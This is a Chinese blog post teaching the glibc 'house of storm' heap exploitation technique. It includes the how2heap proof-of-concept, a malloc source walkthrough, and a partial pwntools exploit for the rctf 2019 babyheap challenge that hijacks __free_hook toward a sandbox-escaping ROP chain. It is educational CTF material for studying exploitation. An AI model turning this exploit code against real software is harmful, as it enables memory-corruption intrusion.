selph
selph
Published on 2024-01-25 / 112 Visits
0
0

堆利用详解:the house of storm

简介

介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,探究了the house of storm的完整过程,以及一个实例练习

漏洞成因

堆溢出、use after freeedit after free

适用范围

  • 2.23——2.29
  • 可以进行 unsortedbin attack
  • 可以进行 largebin attack,修改 bkbk_nextsize
  • 可以分配 0x50 大小的 chunk

利用原理

house of storm 也是一款组合技,利用开启了 PIEx64 程序的堆地址总是 0x55xxxx... 或者 0x56xxxx... 开头这一特性,使用一次 largebin attack 写两个堆地址,使用一次 unsortedbin attack 写一次 libc 地址,可以实现任意地址分配。虽然 house of storm 最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:

  • 进行一次 unsortedbin attack,其 bk 修改为 addr
  • 进行一次 largebin attack,其 bk 修改为 addr+0x10bk_nextsize 修改为 addr-0x20+3
  • 申请 0x50 大小的 chunk 即可申请到 addr

相关技巧

需要注意的有:

  • 该方法成功的几率是 50%,因为 0x55 会触发 assert 断言,0x56 才能成功
  • 申请 addr 处的 chunk 的时候需要从 unsortedbin 里面取

利用效果

  • 任意地址分配

实验:how2heap - the house of storm

实验环境:libc 2.23

/*

POC for House of Storm on 2.23

For 2.26-2.28, the tcache will need to 
be full for this to work. After this, 
a patch to the unsorted bin attack likely prevents this 
technique from working. 

This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.

Once this has occurred, if the size at this 'fake' 
location is the same size as the allocation, 
then the chunk will be returned back to the user. 

This attack allows arbitrary chunks to be returned
to the user!

Written by Maxwell "Strikeout" Dulin
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x10];
char target[0x60]; 

void init(){
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stdin, NULL, _IONBF, 0);
        // clearenv();
}

// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){

        int shift_amount = 0;
        long long ptr = (long long)pointer;

        while(ptr > 0x20){
                ptr = ptr >> 8;
                shift_amount += 1;
        }

        return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){

	init();

	char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

	puts("House of Storm"); 
	puts("======================================"); 
	puts("Preparing chunks for the exploit");
	puts("Put one chunk into unsorted bin and the other into the large bin");
	puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
	/*
	Putting a chunk into the unsorted bin and another
	into the large bin.
	*/
	unsorted_bin = malloc ( 0x4e8 );  // size 0x4f0 

	// prevent merging 
	malloc ( 0x18 ); 

	puts("Find the proper chunk size to allocate.");
	puts("Must be exactly the size of the written chunk from above.");
	/* 
	Find the proper size to allocate
	We are using the first 'X' bytes of the heap to act 
	as the 'size' of a chunk. Then, we need to allocate a 
	chunk exactly this size for the attack to work. 

	So, in order to do this, we have to take the higher
	bits of the heap address and allocate a chunk of this
	size, which comes from the upper bytes of the heap address.

	NOTE: 
	- This does have a 1/2 chance of failing. If the 4th bit 
	of this value is set, then the size comparison will fail.
	- Without this calculation, this COULD be brute forced.
	*/
	int shift_amount = get_shift_amount(unsorted_bin);
        printf("Shift Amount: %d\n", shift_amount);

        size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
        if(alloc_size < 0x10){
                printf("Chunk Size: 0x%lx\n", alloc_size);
                puts("Chunk size is too small");
                exit(1);
        }
        alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
        printf("In this case, the chunk size is 0x%lx\n", alloc_size);


	// Checks to see if the program will crash or not
        /*
        The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. 

        Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
        validates to see if ONE of the following cases is true: 
        - av == arena_for_chunk (mem2chunk (mem))
        - chunk is mmaped

        If the 'non-main arena' bit is set on the chunk, then the 
        first case will fail. 
        If the mmap bit is set, then this will pass. 
    
        So, either the arenas need to match up (our fake chunk is in the 
        .bss section for this demo. So, clearly, this will not happen) OR
        the mmap bit must be set.

        The logic below validates that the fourth bit of the size
        is NOT set and that either the mmap bit is set or the non-main 
        arena bit is NOT set. If this is the case, the exploit should work.
        */
        if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
                puts("Allocation size has bit 4 of the size set or ");
                puts("mmap and non-main arena bit check will fail");
                puts("Please try again! :)");
                puts("Exiting...");
                return 1;

	}

	large_bin  =  malloc ( 0x4d8 );  // size 0x4e0 
	// prevent merging 
	malloc ( 0x18 );

	// FIFO 
	free ( large_bin );  // put small chunks first 
	free ( unsorted_bin );

	// Put the 'large bin' chunk into the large bin
	unsorted_bin = malloc(0x4e8);
	free(unsorted_bin);

	/*
	At this point, there is a single chunk in the 
	large bin and a single chunk in the unsorted bin. 
	It should be noted that the unsorted bin chunk 
	should be LARGER in size than the large bin chunk
	but should still be within the same bin.

	In this setup, the large_bin has a chunk
	of size 0x4e0 and the unsorted bin 
	has a chunk of size 0x4f0. This technique relies on
	the unsorted bin chunk being added to the same bin
	but a larger chunk size. So, careful heap feng shui 
	must be done.
	*/

	// The address that we want to write to!
	fake_chunk = target - 0x10;

	puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"); 

	/*
	The address of our fake chunk is set to the unsorted bin 
	chunks 'bk' pointer. 

	This launches the 'unsorted_bin' attack but it is NOT the
	main purpose of us doing this.

	After launching the 'unsorted_bin attack' the 'victim' pointer
	will be set to THIS address. Our goal is to find a way to get
	this address from the allocator.

	Vulnerability!!
	*/
	((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

	// Only needs to be a valid address. 
	(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ;  // large_bin->fd

	puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
	puts("of your fake chunk."); 
	puts("Misalign the location in order to use the primitive as a SIZE value."); 
	puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
	puts("Vulnerability #2!");
	puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
	/* 
	This can be seen as a WRITE-WHERE primitive in the large bin.
	However, we are going to write a 'size' for our fake chunk using this. 

	So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
	to an address for our fake size. The write above (bk_nextsize) is
	controlled via the pointer we are going to overwrite below. The
	value that gets written is a heap address; the unsorted bin 
	chunk address above. 

	The 'key' to this is the offset. First, we subtract 0x18 because
	this is the offset to writting to fd_nextsize in the code shown 
	above. Secondly, notice the -2 below. We are going
	to write a 'heap address' at a mis-aligned location and
	use THIS as the size. For instance, if the heap address is 0x123456
	and the pointer is set to 0x60006. This will write the following way:
	- 0x60006: 0x56
	- 0x60007: 0x34
	- 0x60008: 0x12

	Now, our 'fake size' is at 0x60008 and is a valid size for the 
	fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
	from the allocator. 

	Second vulnerability!!!
	*/
	(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize


	/*
	At this point, we've corrupted everything in just the right 
	way so this should work. 

	The purpose of the attack is to have a corrupted 'bk' pointer
	point to ANYWHERE we want and still get the memory back. We do
	this by using the large bin code to write a size to the 'bk' 
	location.

	This call to malloc (if you're lucky), will return a pointer
	to the fake chunk that we created above. 
	*/


	puts("Make allocation of the size that the value will be written for.");
	puts("Once the allocation happens, the madness begins"); 
	puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to "); 
	puts("write a fake 'size' value to the location of our target."); 
	puts("After this, the target will have a valid size."); 
	puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"); 
	puts("size and remove it from the bin.");
	puts("With this, we have pulled out an arbitrary chunk!");

	printf("String before: %s\n", target);
	printf("String pointer: %p\n", target);

	ptr = malloc(alloc_size);
	strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);

	printf("String after %s\n", target);
	printf("Fake chunk ptr: %p\n", ptr);

	return 0;
}

是的,又好长

the house of stormunsortedbin attacklargebin attack的组合利用,可用直到libc 2.29 的时候unsortedbin attack被修补

流程很简单:

  1. 条件准备

    1. 准备一个unsortedbin chunk
    2. 准备一个largebin chunk
  2. 在一次malloc中进行 unsortedbin attack 和 largebin attack,向target写入三个值,伪造了1个 unsortedbin chunk 且 size 和申请大小匹配,在第二轮unsortedbin sort的过程中精确分配内存

这里的思路很有意思,通过伪造chunk指针,同时进行unsortedbin attack和largebin attack,写三个地址构造出一个unsortedbin chunk且这个chunk位于链表的下一个,然后大小刚好匹配分配内存,见下面的探究详细分析吧

探究:进行利用的那一下 malloc 中发生了什么?

最后申请的大小是0x50

在malloc中:

  1. 满足fastbin大小,但是没有fastbin chunk,继续

  2. 满足smallbin大小,但是没有smallbin chunk,继续

  3. unsortedbin 处理:

    1. 没有进行 remainder 处理(为什么?见下面的[探究])

    2. 断链,发生unsortedbin attack,向bk->fd位置写入unsortedbin的地址(arena+88),此时unsortedbin链表并没有断掉,unsortedbin chunk依然存在

    3. 大小不匹配,chunk size属于largebin 范围,插入到largebin链表中

      1. 排序过程中发生 largebin attack,向bk->fd位置写入unsortedbin chunk的地址,向bk_nextsize->fd_nextsize位置写入unsortedbin chunk的地址,此时unsortedbin chunk被插入largebin中
    4. 此时的target变量:已经成功伪造出fake结构了(一次性写了三个值在target附近,同时也伪造出了一个unsortedbin chunk)

      pwndbg> dq 0x602090
      0000000000602090     30007ffff7fcb8e0 0000000000000060	target - 0x10	largebin attack bk_nextsize写入到了这里
      00000000006020a0     00007ffff7fcbb78 0000000000603000	target			unsortedbin attack的写入,largebin attack bk的写入
      00000000006020b0     0000000000000000 0000000000000000
      00000000006020c0     0000000000000000 0000000000000000
      
    5. 此时的bin:

      pwndbg> bin
      fastbins
      empty
      unsortedbin
      all [corrupted]
      FD: 0x603000 —▸ 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
      BK: 0x602090 (stdin@@GLIBC_2.2.5) —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
      smallbins
      empty
      largebins
      0x4c0-0x4f0 [corrupted]
      FD: 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
      BK: 0x603510 —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
      
  4. 进行第二轮 unsortedbin 处理(此时上一个unsortedbin chunk没有被断开,会继续进入循环)

    1. 此时的unsortedbin chunk是被成功伪造好了的(如何伪造见下面的[探究]),断链后:

      unsortedbin
      all [corrupted]
      FD: 0x603000 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x603000
      BK: 0x603000 —▸ 0x602098 (completed) ◂— 0x0
      
    2. 断链断的是指向0x602090的chunk,这里是我们伪造的chunk,此时出现大小刚好匹配:0x60,直接将该chunk分配出去

  5. 分配fake chunk出去了

探究:其中unsortedbin attack 的作用是什么?bk 如何构造?

fastbin attack通过构造fake fastbin chunk 来申请走fake chunk,house of storm则是通过构造fake unsortedbin chunk来申请走chunk

unsortedbin chunk位于双向链表中,在sorting机制的过程中,会从bk取出chunk进行处理,期望最终进行的流程是:

            bck = victim->bk;
...
            /* remove from unsorted list */
            // 断链
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

            /* Take now instead of binning if exact fit */
            // 如果大小精准匹配,就直接分配返回
            if (size == nb)
            {
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                check_malloced_chunk(av, victim, nb);
                void *p = chunk2mem(victim);
                alloc_perturb(p, bytes);
                return p;
            }

断链后,chunk大小刚好匹配,然后分配走

那么问题就在于,要如何让bk上有这么一个大小刚好匹配的fake chunk了

先不考虑如何构造fake chunk,第一个问题是,如何让bk等于目标地址?

            bck = victim->bk;
...
            unsorted_chunks(av)->bk = bck;

只需要在第一次断链的时候 unsortedbin chunk 的 bk 指向fake chunk即可,

所以,unsortedbin attack的目标是:

  1. 让 unsortedbin chunk 的 bk 指向 fake chunk,断链后,unsortedbin 的 bk 指向 fake chunk
  2. ~~让 fake chunk 的 fd 有合法地址,~~​不对,fd是什么都无所谓,反正不参与bin的链表的组成

探究:其中 largebin attack 的作用是什么?bk 和 bk_nextsize 是怎么构造的?

那么第二个问题就是,如何构造fake unsortedbin chunk?

unsortedbin chunk 有size,fd,bk 三个字段:

  • size:需要想办法和触发利用申请的大小一样

  • fd:需要是一个合法地址(在fake chunk断链的时候会用到该地址)

  • bk:需要是一个合法地址(在fake chunk断链的时候会用到该地址)

    • 如果合法地址没有bk,则无法再一次进入该流程处理

在之前的unsortedbin attack中,完成了对 unsortedbin -> bk 的修改,以及对 fake chunk fd 的填充(可有可无,无所谓),largebin attack 负责进行剩下的部分工作:设置一个合适的 size,填充 fake chunk 的 bk

在 libc2.30 之前,largebin attack 可以一次性把一个chunk地址写入任意两个地方,这里刚好可以达到目标,看代码:

	fake_chunk = target - 0x10;
...
	(( size_t *) large_bin)[1]  =  (size_t)fake_chunk + 8 ;  // large_bin->fd
...
	(( size_t *) large_bin)[3]  =  (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize

首先是要写bk为一个合法的值,通过bk这个链表去实现的话,目标就是target-0x10+8

其次是要写size为一个指定大小,通过bk_nextsize去实现的话,会把值写入目标地址+0x20的地方,而目标需要的是一个字节的值,那就把最高字节写入size字段,这里是调试模式下没有pie,所以地址是0x603000这样的地址

其中这个变量的值是:

pwndbg> p/x shift_amount
$1 = 0x2

因为内存地址3个字节,移动2个字节,留1个字节,这里希望最高位的字节留在0x602098的地址上:

pwndbg> dq 0x0000000000602076
0000000000602076     0000000000000000 7ffff7fcc6200000
0000000000602086     0000000000000000 7ffff7fcb8e00000
0000000000602096     0000000000603000 7ffff7fcbb780000
00000000006020a6     0000006030000000 0000000000000000

因为是小端序存储,这里的0x00 0x30位于地址0x602096 0x602097,这里的0x60位于0x602098:

pwndbg> dq 0x0000000000602090
0000000000602090     30007ffff7fcb8e0 0000000000000060
00000000006020a0     00007ffff7fcbb78 0000000000603000
00000000006020b0     0000000000000000 0000000000000000
00000000006020c0     0000000000000000 0000000000000000

探究:为何说实战成功率只有50%?unsortedbin chunk 比较大小是如何比较的?

在从int_malloc中申请返回之后,回到了__libc_malloc(__libc_calloc 也是一样的),这里在最终return之前有个断言,检查mmap位和arena位,也就是需要第2位是1或第3位是0

堆地址常见两种开头的字节:0x55和0x56,其中第三位都是1,那么唯一需要满足的条件就是,第二位是1,也就是mapped位为1,那就只有0x56开头的情况能做到,0x55开头的情况做不到

void *
__libc_malloc(size_t bytes)
{
    mstate ar_ptr;
    void *victim;

    void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
    if (__builtin_expect(hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS(0));

    arena_get(ar_ptr, bytes);

    victim = _int_malloc(ar_ptr, bytes);
    /* Retry with another arena only if we were able to find a usable arena
       before.  */
    if (!victim && ar_ptr != NULL)
    {
        LIBC_PROBE(memory_malloc_retry, 1, bytes);
        ar_ptr = arena_get_retry(ar_ptr, bytes);
        victim = _int_malloc(ar_ptr, bytes);
    }

    if (ar_ptr != NULL)
        (void)mutex_unlock(&ar_ptr->mutex);

    assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
           ar_ptr == arena_for_chunk(mem2chunk(victim)));       // 会检查申请的chunk 的标志位
    return victim;
}

两个宏:

/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2

/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
   from a non-main arena.  This is only set immediately before handing
   the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4

/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)

探究:unsortedbin chunk 进入 last_remainder 的条件是什么?

这里malloc的时候,存在一个unsortedbin chunk,但是并不是 last_remainder,那么unsortedibn chunk成为last_remainder的条件是什么?

在malloc.c源码搜索last_remainder发现,只有一种情况会出现last_remainder:

malloc流程中:

  1. unsortedbin sorting 流程走完之后
  2. 申请大小nb属于smallbin size,不进入largebin的处理
  3. 开始使用bitmap扫描所有的bin
  4. 在largebin中找到可用的空闲chunk,大小可以进行分割,就进行分割处理,分割完把剩下的装入unsortedbin并记录为last_remainder
/* Inspect the bin. It is likely to be non-empty */
            victim = last(bin);

            /*  If a false alarm (empty bin), clear the bit. */
            if (victim == bin)
            {
                av->binmap[block] = map &= ~bit; /* Write through */
                bin = next_bin(bin);
                bit <<= 1;
            }

            else
            {
                size = chunksize(victim);

                /*  We know the first chunk in this bin is big enough to use. */
                assert((unsigned long)(size) >= (unsigned long)(nb));

                remainder_size = size - nb;

                /* unlink */
                unlink(av, victim, bck, fwd);

                /* Exhaust */
                if (remainder_size < MINSIZE)
                {
                    set_inuse_bit_at_offset(victim, size);
                    if (av != &main_arena)
                        victim->size |= NON_MAIN_ARENA;
                }

                /* Split */
                else
                {
                    remainder = chunk_at_offset(victim, nb);

                    /* We cannot assume the unsorted list is empty and therefore
                       have to perform a complete insert here.  */
                    bck = unsorted_chunks(av);
                    fwd = bck->fd;
                    if (__glibc_unlikely(fwd->bk != bck))
                    {
                        errstr = "malloc(): corrupted unsorted chunks 2";
                        goto errout;
                    }
                    remainder->bk = bck;
                    remainder->fd = fwd;
                    bck->fd = remainder;
                    fwd->bk = remainder;

                    /* advertise as last remainder */
                    if (in_smallbin_range(nb))
                        av->last_remainder = remainder; // 生成last_remainder
                    if (!in_smallbin_range(remainder_size))
                    {
                        remainder->fd_nextsize = NULL;
                        remainder->bk_nextsize = NULL;
                    }
                    set_head(victim, nb | PREV_INUSE |
                                         (av != &main_arena ? NON_MAIN_ARENA : 0));
                    set_head(remainder, remainder_size | PREV_INUSE);
                    set_foot(remainder, remainder_size);
                }

总结

学习house of storm,见识到了伪造unsortedbin chunk进行分配的操作,一次malloc中触发两种堆利用,进一步熟悉了malloc.c的流程

实验: rctf 2019 - babyheap

实验环境:libc 2.23

逆向分析

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    switch ( get_int() )
    {
      case 1:
        add();
        break;
      case 2:
        edit();                                 // off by null
        break;
      case 3:
        delete();
        break;
      case 4:
        show();
        break;
      case 5:
        puts("See you next time!");
        exit(0);
      default:
        puts("Invalid choice!");
        break;
    }
  }
}

init:

unsigned __int64 init()
{
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("open failed!");
    exit(-1);
  }
  read(fd, &ptrs, 8uLL);                        // 获取随机值
  close(fd);
  ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
  mallopt(1, 0);
  if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )// 映射随机地址
  {
    puts("mmap error!");
    exit(-1);
  }
  signal(14, timeout_handler);
  alarm(0x3Cu);
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
  {
    puts("Could not start seccomp:");
    exit(-1);
  }
  if ( prctl(22, 2LL, &filterprog) == -1 )      // 沙箱,启动
  {
    puts("Could not start seccomp:");
    exit(-1);
  }
  return __readfsqword(0x28u) ^ v2;
}

add:

unsigned __int64 add()
{
  ptr_struct *v0; // rbx
  int i; // [rsp+0h] [rbp-20h]
  int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; ptrs[i].ptr && i <= 15; ++i )    // ptrs是个结构体,有2个dq
    ;
  if ( i == 16 )                                // 最多16个
  {
    puts("You can't");
    exit(-1);
  }
  printf("Size: ");
  size = get_int();
  if ( size <= 0 || size > 0x1000 )             // size 最大 0x1000
  {
    puts("Invalid size :(");
  }
  else
  {
    LODWORD(ptrs[i].size) = size;               // 在很靠后的位置保存size
    v0 = &ptrs[i];
    v0->ptr = (__int64)calloc(size, 1uLL);      // calloc申请内存
    puts("Add success :)");
  }
  return __readfsqword(0x28u) ^ v4;
}

edit:

unsigned __int64 edit()
{
  unsigned int idx; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  idx = get_int();
  if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
  {
    printf("Content: ");
    *(_BYTE *)(*((_QWORD *)ptrs + 2 * (int)idx) // off by null?
             + (int)read_n(*((_QWORD *)ptrs + 2 * (int)idx), *((unsigned int *)ptrs + 4 * (int)idx + 2))) = 0;
    puts("Edit success :)");
  }
  else
  {
    puts("Invalid index :(");
  }
  return __readfsqword(0x28u) ^ v2;
}

delete:

unsigned __int64 delete()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  idx = get_int();
  if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
  {
    free(*((void **)ptrs + 2 * (int)idx));      // 释放
    *((_QWORD *)ptrs + 2 * (int)idx) = 0LL;     // 指针清空
    *((_DWORD *)ptrs + 4 * (int)idx + 2) = 0;   // 大小清零
    puts("Delete success :)");
  }
  else
  {
    puts("Invalid index :(");
  }
  return __readfsqword(0x28u) ^ v2;
}

show:

unsigned __int64 show()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  idx = get_int();
  if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
    puts(*((const char **)ptrs + 2 * (int)idx));
  else
    puts("Invalid index :(");
  return __readfsqword(0x28u) ^ v2;
}

思路分析

libc 2.23 版本,保护全开,只有一个off by null漏洞,释放的所有 chunk 都进入了unsortedbin,fastbin被禁用了,global_fast_max=0x10(不知道怎么改的,见探究)

存在沙箱,禁用了一些系统调用:不能用execve了

rctf2019_babyheap ➤ seccomp-tools dump ./rctf_2019_babyheap
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

off by null 漏洞的利用通常是用来创造堆块重叠的,堆块重叠的作用是造成UAF,泄露地址或者修改指针

本例中可用的chunk大小最大0x1000字节,可以分配large size chunk

libc 2.23 版本,此时可以进行 unsortedbin attack,largebin attack

the house of storm 的使用条件是,有largebin chunk和unsortedbin chunk,且前者小于后者,各自的指针可被修改,可以达成的目标是,在任意地址创造一个fake chunk并申请走

在 2.23 版本中,很常见的一个攻击目标是__free_hook指针,如果能在那里伪造chunk,即可劫持控制流

还见到一个思路是[1]:通过unsortedbin attack攻击global_fast_max来启动fastbin,然后用fastbin attack去打_IO_list_all,通过FSOP控制执行流

the house of einherjar

具体利用细节详解见参考资料[2]

# house of einherjar
# leak address
add(0x18)#0
add(0x28)#1 use for fake largebin bk
add(0xf8)#2
add(0x18)#3

add(0x18)#4
add(0x18)#5

add(0x18)#6


dele(0)
edit(1,b'a'*0x20+pack(0x50))
dele(2)
add(0x18)#0
leak = show(1)
leak = unpack(leak,'all')
libc.address = leak - 0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")

# leak haep
add(0x128)#2
dele(5)
dele(2)
leak2 = show(1)
leak2 = unpack(leak2,'all')
heap_address = leak2 & ~(0xfff)
success(f"heap leak address => {hex(leak2)}")
success(f"heap address => {hex(heap_address)}")

简单概况一下就是:

  • 申请A,B,C,D四个chunk,其中chunkC的size是0x101

  • 释放chunkA,在chunkB中溢出修改chunkC的prev_inuse标志位为0,设置prev_size能找到chunkA

    • 该版本不检查prev_size和寻到的chunk的真正size
    • 该版本会检查双链表完整性,需要正常的双链表,释放chunkA即可得到
  • 释放chunkC,触发合并机制

  • 申请一个和chunkA同等大小的chunk,使得unsortedbin chunk和申请的chunkB重叠,直接读取即可拿到libc leak

接下来是拿到heap leak:申请走完整的unsortedbin chunk,然后释放一个chunk,再释放刚刚那个完整的unsortedbin chunk,让其进入链表的第二个位置,使得其fd指针指向第一个unsortedbin chunk,拿到heap leak

the house of storm

# house of storm
# prepare the largebin & unsortedbin
dele(6)
dele(4)
dele(3)
add(0x3f8)  #2
add(0x18)   #3
add(0x4f8)  #4
add(0x18)   #5
add(0x3f8)  #6
add(0x18)   #7

dele(4)
edit(5,b'5'*0x10+pack(0x520))
dele(6)

dele(2)
add(0x4f8)  #2  rop

target = libc.sym.__free_hook - 0x10

edit(1,flat({
    0x00:pack(leak+0x3f0)+pack(target+0x8),   # bk
    0x10:pack(leak2+0x20)+pack(target-0x20+3),   # bk_nextsize
}))
edit(5,pack(leak)+pack(target))   # unsortedbin bk

add(0x48)   #4

接下来布局堆,我需要一个unsortedbin chunk和一个largebin chunk,其中largebin chunk size 小于 unsortedbin chunk,且他们的指针都可控

这里的操作是,先释放chunk,都合并到top中,然后重新开始布局

因为需要一个largebin chunk和unsortedbin chunk同时存在,而largebin chunk是在malloc中sort阶段从unsortedbin中移动过去的,这里的思路是:

  1. 1号chunk是可控一个chunk的指针(2号chunk),这里创造一个大小为0x400的chunk(最小的largebin chunk)
  2. 通过同样的方法在构造一个可控指针的空闲chunk(5号chunk),但是比2号chunk大很多很多
  3. 为了避免largebin chunk被切割,那就让unsortedbin chunk被切割,做法就是,unsortedbin chunk很大,被整理到其他的largebin中,然后申请的大小超过2号chunk的大小,于是就从大的largebin chunk分割然后放回unsortedbin 中
  4. 到此,构造好了堆布局

接下来填充bk和bk_nextsize,具体怎么填见上一个实验

回顾一下过程,这里最后一次申请0x48的过程是:

  1. unsortedbin chunk被整理到largebin中,大小比原本的largebin chunk大
  2. 断链和调整顺序触发unsortedbin attack,unsortedbin->bk指向fake chunk
  3. 触发largebin attack,让fake chunk有了size和bk字段
  4. 遍历到下一个unsortedbin chunk的时候,发现大小刚好匹配,直接分配走

由此,控制了__free_hook

堆 ROP + orw 沙箱逃逸

万能gadget:setcontext:可以用来控制rsp指针,然后就可以构造rop去劫持控制流了

   0x00007fc5b6198b85 <+53>:    mov    rsp,QWORD PTR [rdi+0xa0] 0x47b85
   0x00007fc5b6198b8c <+60>:    mov    rbx,QWORD PTR [rdi+0x80]
   0x00007fc5b6198b93 <+67>:    mov    rbp,QWORD PTR [rdi+0x78]
   0x00007fc5b6198b97 <+71>:    mov    r12,QWORD PTR [rdi+0x48]
   0x00007fc5b6198b9b <+75>:    mov    r13,QWORD PTR [rdi+0x50]
   0x00007fc5b6198b9f <+79>:    mov    r14,QWORD PTR [rdi+0x58]
   0x00007fc5b6198ba3 <+83>:    mov    r15,QWORD PTR [rdi+0x60]
   0x00007fc5b6198ba7 <+87>:    mov    rcx,QWORD PTR [rdi+0xa8]
   0x00007fc5b6198bae <+94>:    push   rcx
   0x00007fc5b6198baf <+95>:    mov    rsi,QWORD PTR [rdi+0x70]
   0x00007fc5b6198bb3 <+99>:    mov    rdx,QWORD PTR [rdi+0x88]
   0x00007fc5b6198bba <+106>:   mov    rcx,QWORD PTR [rdi+0x98]
   0x00007fc5b6198bc1 <+113>:   mov    r8,QWORD PTR [rdi+0x28]
   0x00007fc5b6198bc5 <+117>:   mov    r9,QWORD PTR [rdi+0x30]
   0x00007fc5b6198bc9 <+121>:   mov    rdi,QWORD PTR [rdi+0x68]
   0x00007fc5b6198bcd <+125>:   xor    eax,eax
   0x00007fc5b6198bcf <+127>:   ret

关于 rop,这里沙箱禁止了execve,那就只能orw来拿flag了,一个通用思路就是,提前堆里写入好orw的shellcode,通过调用mprotect修改堆执行属性,然后跳转到shellcode中执行

mov_rsp_ret = libc.address+0x47b85
addr = heap_address+0x450
r = ROP(libc)
r(rdi=heap_address)
r(rsi=0x1000)
